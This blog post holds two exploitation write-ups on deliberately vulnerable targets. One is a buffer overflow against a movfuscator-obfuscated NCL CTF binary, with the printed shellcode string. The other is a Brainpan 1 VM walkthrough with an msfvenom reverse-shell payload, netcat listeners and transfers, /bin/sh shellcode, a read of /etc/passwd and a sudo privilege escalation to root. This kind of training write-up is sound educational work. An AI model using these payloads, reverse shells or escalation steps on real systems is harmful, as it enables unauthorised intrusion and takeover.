Tuesday, July 4, 2017

Can't Figure Out The Answer To A CTF Challenge? Just Exploit It!

This is more going to be a walkthrough of how I conduct my analysis of an unknown ELF file. I am by no means an expert and appreciate any feedback given. Enjoy!

Some background information to this, the file was provided during the NCL Spring 2017 Postseason competition under the "Enumeration and Exploitation" category.


Static Analysis


First thing's first lets run the file command on it to see exactly what type of file this is.

File Information

From this we've learned two things..
  1. It's an ELF 32 bit executable in LSB (Least Significant Bit) form.
  2. It's not stripped, meaning it still contains debugging information.

ELF Header

A few new interesting points from this.
  1. The entry point is at 0x80483dc (0x080483dc).
  2. The program headers start at 52 bytes and is 32 bytes in size.
  3. The section headers start at 10279512 bytes and is 40 bytes in size.

Section Headers

So .text (1), .data (2), and .bss (3) should be loaded into the program at the following address ranges:
  1. 0x080483dc - 0x080592bb
  2. 0x0805b030 - 0x0860475c
  3. 0x08604760 - 0x08804770
Also the symbols table (.symtab) is 2,126,656 bytes. Which is not something that's common, that's absolutely massive.

Program Headers

So this program contains six segments, of those 2 are LOAD segments which are loadable segments.
The first loadable segment (02) contains .text with the read + execute (R E) flag.
The second (03) contains .data and .bss with read + write (RW) flag.

Time to take a look at the symbols table and...it is indeed massive with a large amount of symbols in the format of "alu_XX", seems like this ELF is obfuscated in some way or another. We'll grep out all of the symbols containing "alu" for the time being to get a better look at the programs symbols.

Symbols Table

18: 00000000 0 FILE LOCAL DEFAULT ABS /root/tools/movfuscator/b

Seems like the program is using movfuscator to obfuscate the code, which is the reasoning for all of the "alu" symbols. Here's some other symbols that peaked my interest.
  • def_not_the_flag
  • discard
  • validate
  • main
We can now start looking at strings, however, due to it being obfuscated it's pretty obvious there's going to be alot of noise. I couldn't even get all of the strings into a gist without it freezing on me so I cut out most of the redundancies/noise.

Strings

Few interesting strings to note:
  1. this doesn't seem right... try again
  2. whooooo, you got it!
  3. I guess, uh... type in a passcode:
  4. usage: %s tid
  5. SKY-ALTF-4810 (This is def_not_the_flag)
Without even running the program we know that you need to run the program with your TID (team identifier) as a parameter. The program will then ask you for an input and then print back whether it's correct or it's not. The flag never gets called or anything but it's still kinda neat.

I'm going to use radare2 as my disassembler to disassemble the main function of the program.

Disassembling Main

We don't get much useful information from this as the program is obfuscated with that movfuscator program. Movfuscator replaces all instructions with MOV, you can read more about it here. To get some more meaningful information we need to move on to more dynamic analysis.

Dynamic Analysis


I want to verify that the memory locations are the same as what I observed in the static analysis. Lets force the program to run in the background with ./NCL-2017-Spring-InstructionsUnclear-X32 209f50f37f89cf43e85e46e57d8624e8 & and then read the memory mapping of the programs PID with cat /proc/*PID*/maps.

Memory Mapping

We can see that we have 4 memory regions for this program.
  1. 08048000-0805a000 r-xp 00000000 08:05 2752742 /root/Documents/NCL/Instructions Unclear Writeup/NCL-2017-Spring-InstructionsUnclear-X32
  2. 0805a000-0805b000 r-xp 00011000 08:05 2752742 /root/Documents/NCL/Instructions Unclear Writeup/NCL-2017-Spring-InstructionsUnclear-X32
  3. 0805b000-08605000 rwxp 00012000 08:05 2752742 /root/Documents/NCL/Instructions Unclear Writeup/NCL-2017-Spring-InstructionsUnclear-X32
  4. 08605000-08805000 rwxp 00000000 00:00 0
(1) is .text and it's associated executable parts.
(2) is the .dynamic/.got.plt sections which is the ld-linux.so.2 interpreter.
(3) is .data.
(4) is .bss.

We're finally prepared to actually see what this program is doing, the easiest way to do this is strace which traces the system calls and signals when a program's running.

Strace

Well as expected it prints "I guess, uh... type in a passcode: " and then asks for user input. The program then gets stuck in some form of countdown loop, sending SIGILL (illegal instruction) signals at 0x80592b9 followed by SIGSEGV (segmentation fault) signals. It repeats this loop for the length of the TID. 20 length is 20 loops. The output here is cut-down for readability.

Fuzzing and Exploitation


We can get right to testing this program by sending 2000 A's to STDIN and monitoring what happens with strace.

Testing Input

...and it's stuck looping forever with a Segmentation Fault at 0x41414141 which is 4 A's. Lets verify this more in GDB.

Before jumping into GDB I wholeheartedly recommend you install PEDA (Python Exploit Development Assistance) for GDB as it makes your life in GDB tenfold easier.

Alright so lets push 2000 A's into a file called inp and then have gdb input that file's contents whenever it hits a STDIN point. We will also be setting SIGSEGV signals to be passed to gdb so it can continue whenever it hits an error with handle SIGSEGV pass.

Verifying in GDB

On the SIGSEGV we can see that our stack is loaded with our input of A's at 0x086041c8. We can also verify this searching for a string of A's in memory with find AAAAAAAAAAAAAAA which results in the memory address of 0x86041c8. So our input is being stored in the .data segment of memory which is going to be static making jumping to our shellcode super simple.

Before we create our return address we first need to find the offset needed for the overflow. The easiest way to do this is with PEDA's pattern_create feature. Let's create a pattern of 2000 bytes and store it into our inp file with pattern_create 2000 inp.

Finding offset with PEDA

The segmentation fault is now at 0x416b6e41, Plugging that into PEDA's pattern_offset feature results in an offset of 1132 bytes before the overflow/where we can place our return address.

Now all we need to do is find a return address which we can find with a mock exploit program to see where are values are statically stored.

Mock Exploit

So when the program crashes with an address of BBBB (\x42424242) we can use PEDA's find feature to locate our mock shellcode of C's.

Testing our Mock Exploit

Our C's start at 0x8604638 (end of .data segment) which isn't going to change allowing us to put this address as our return address to jump directly to our shellcode without any guessing. Once we reformat this address to little endian and cut it into bytes our return address is going to be \x38\x46\x60\x08.

The entire point of this NCL challenge is to input the correct passcode to get the output of "whooooo, you got it!" so why don't we go ahead and cheat our way to that response. I'm extremely lazy so lets just generate some shellcode with msfvenom to execute the command "echo whooooo, you got it!".

I had to block the characters of \x00 (for obvious reasons), \xcb, \x0c, and \x0d as those characters will split the output into multiple lines. Our program won't read input on multiple lines so if it's split it'll only run a portion of the shellcode until it hits that split causing a segmentation fault (due to only partial execution of the shellcode).

Generating Our Shellcode

Now all we've got to do is put all the pieces together.

Writing Our Exploit

Now lets run our exploit to get our "well deserved" message.

"Winning"

So NCL, my question is, do you accept an answer of.. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x38\x46\x60\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb8\xcf\x9b\x5e\x2b\xda\xc9\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x10\x31\x43\x13\x83\xeb\xfc\x03\x43\xc0\x79\xab\x41\xd5\x25\xcd\xc4\x8f\xbd\xc0\x8b\xc6\xd9\x73\x63\xab\x4d\x84\x13\x64\xec\xed\x8d\xf3\x13\xbf\xb9\x19\xd4\x40\x3a\x78\xb7\x28\x55\xa2\x40\xc1\xc6\xcd\xc1\x7e\x76\x3d\x3e\xf8\xe7\x48\x1e\x9d\x98\xc6\x7e\x08\x13\x07\x7f\x9d\x88\xce\x9e\xec\xaf?

No? Oh, well it was fun anyways!

Thursday, June 8, 2017

Brainpan 1 Writeup

Brainpan 1 is an intermediate level vulnerable VM, your only goal is to obtain root on said machine.

Lets jump right into this with an aggressive TCP connect scan with:
nmap -sT -A -oX brainpan.xml 192.168.1.141
Outputting to brainpan.xml for my own notekeeping in Dradis.

Basic enough, only 2 ports open:
- 10000/tcp http SimpleHTTPServer 0.6 (Python 2.7.3)
- 9999/tcp abyss

But we also learned it's probably Linux with a kernel version between 2.6.32 - 3.10

Lets run dirbuster, a website directory bruteforcer to see what's on the website:
dirb http://192.168.1.141:10000
 

The index page was rather boring, however, within the bin folder contained a file called "brainpan.exe"

 
We'll hold on to that for later, right now lets take a look at that abyss port. We'll try to banner grab the port with: 
nc 192.168.1.141 9999 
 
Which returns this page that's asking for a password (entering password for the password returned ACCESS DENIED, who would have thought?).

This isn't actually a login page as entering the password shitstorm results in ACCESS GRANTED being printed with the connection then being closed.

Lets take a look at that brainpan.exe file we got from the website in Ollydbg, the x86 debugger for all things Windows.

Well we can see here clearly that this executable is the same program used on port 9999.

Interesting, an executable with user input? Seems like the perfect opportunity to exploit a Buffer Overflow, lets test out our theory with some fuzzing.

First we'll grab a fuzzing pattern with metasploit's pattern_create program. We're doing this to remove that game of higher or lower to find the perfect offset needed for the overflow. 


Now lets chuck this at that executable with a script and watch the output in Ollydbg.
 
python exploit.py 192.168.1.111 9999

And to nobodies surprise, it crashed brainpan.exe.

From looking at Ollydbg we can see that the program crashed with an EIP (Extended Instruction Pointer) of 0x35724134.

Lets punch that EIP value into metasploits pattern_offset program to find out the offset needed for the buffer overflow.

Awesome, only 524 A's for this buffer overflow! Before we make our shellcode we need to find a place to point (return address) to that will allow our shellcode to actually be executed.

To make things short and sweet, one way to execute shellcode is to point at a JMP ESP instruction.

How convenient is it that a function called winkwink has a JMP ESP instruction?????

Instead of manually searching for the instructions you can also search for the opcode of the instruction you want to find, JMP ESP is ff e4:
objdump -d brainpan.exe | grep "ff e4"

Which shows the same location of 0x311712f3.

Before you can use it as the pointer for your overflow you need to change it to little endian (0xf3121731) and separate into bytes giving us \xF3\x12\x17\x31.

Let's create some shellcode with msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.111 LPORT=5555 -b "x00" -e x86/shikata_ga_nai -f python

Or in better terms:
Payload -> linux/x86/shell_reverse_tcp
Local Host -> 192.168.1.111 (Me)
Local Port -> 5555 (Port I'll be listening to)
Bytes I don't want in my shellcode -> 0x00
Encoder -> x86/shikata_ga_nai
Format -> Python

I'm creating the shellcode without 0x00 bytes as they tend to always make your shellcode not work. always.

 
Awesome, we can just plop that python formatted shellcode right into our script.
 
Cool so now we've got 524 A's to set us up for the overflow, our pointer that will jump us to that JMP ESP instruction, 50 NOP (0x90) instructions to act as a NOP sled to give some wiggle room for allowing our shellcode to execute, and our shellcode that'll give us a reverse tcp shell on the host.

Now all we have to do is execute our program with..
python exploit.py 192.168.1.141 9999
while listening for a response with..
nc -lvp 5555

Success! We've popped a half shell as user puck!

Let's get out of this /bin/sh and into /bin/bash with

python -c 'import pty;pty.spawn("/bin/bash")'

Now to spare the expense of all of the boring post exploitation searching for something important, here is a breakdown of the interesting things.

cat /etc/passwd
reynard:x:1000:1000:Reynard,,,:/home/reynard:/bin/bash
anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash
puck:x:1002:1002:Puck,,,:/home/puck:/bin/bash

groups reynard && groups anansi && groups puck
reynard : reynard adm cdrom sudo dip plugdev lpadmin sambashare
anansi : anansi
puck : puck

BORING. Lets look at the sudo commands we can enter


Interesting, we'll save that for later. How about if there are any interesting SUID (Set owner User ID up on execution) files??

Even more interesting, that /usr/local/bin/validate file looks really out of place. Oh, it's actually an executable with input owned by anansi? Smells like another buffer overflow but lets take a closer look at it offsite using netcat to transfer the files on and off.
root@ggrins# nc -lvp 4444 > validate

puck@brainpan:/usr/local/bin$ nc -q 0 192.168.1.111 4444 < validate 

Lets run it through gdb with that metasploit created pattern and see if it crashes.


gdb --args ./validate Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...


Wow who would have expected?? It crashed! We can also see that it crashed with an EIP of 0x39644138 (or do info registers if you don't trust me, I don't care)


Again, we'll just put that into metasploit's pattern_offset program

Only 116 A's needed this time.

Next on the menu is finding another place to point to, unfortunately for us this program does not have any JMP ESP instructions..

We do have CALL EAX (opcode ff d0) instructions and those work just as well as JMP ESP!

Now we have 2 places we can point to, but we'll just choose the first one at 0x80484af.
Again putting it into little endian (0xaf840408) and cutting it into bytes 
(\xaf\x84\x04\x08)

Now we just need our shellcode, since all we're trying to do is escalate to the owner of the file (anansi) we just need to spawn a basic /bin/sh shell. We can do that by first writing the assembly that will spawn our shell.

shellcode.asm

Remember, stacks are LIFO (Last In First Out), meaning, when we push //sh first and then push /bin after it will look like /bin//sh in the stack.     

Now lets compile our assembly with nasm..
nasm -f elf shellcode.asm -o shellcode.o

we can take a look at the hex needed for our shellcode with..
objdump -d shellcode.o

Instead of manually typing and formatting all of the hex (\x31\xc0 etc etc) I found this insane command that will do it for you here.

objdump -d shellcode.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Which gives us our properly formatted shellcode of..
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Let's put all of this together in a nice python script..
 
Now all we need to do is move it back onto the target machine with netcat and run it.

puck@brainpan:/home/puck$ nc -lvp 4444 > exploit.py

root@ggrins:~/Desktop/Brainpan/Post Exploit# nc 192.168.1.141 4444 < exploit.py


I moved it into the user's home directory considering this is a mock scenario and I really don't care, but in a real scenario you should probably put the file in /tmp or somewhere else.

Now to run it all we have to do is enter..
./validate $(python /home/puck/exploit.py)

Sweet, we are now anansi! 

..and then I got stuck. I couldn't figure out how to get root from anansi. Turns out it relies on that anansi_util file that puck can sudo to in /home/anansi/bin/

This anansi_util program runs commands directly from the shell, it default allows for you to chose from "network" (ifconfig), "proclist" (top), and "manual" (man).

As anansi you are allowed to edit this file, which you can then add /bin/bash to it with..
$ /bin/bash > anansi_util

allowing anyone to run anansi_util and generate a bash shell. With the program being allowed to run with sudo it doesn't just generate any normal shell, it generates a ROOT shell.

So yep, a rather disappointing ending to a challenging VM. But hey, we learned along the way so who cares.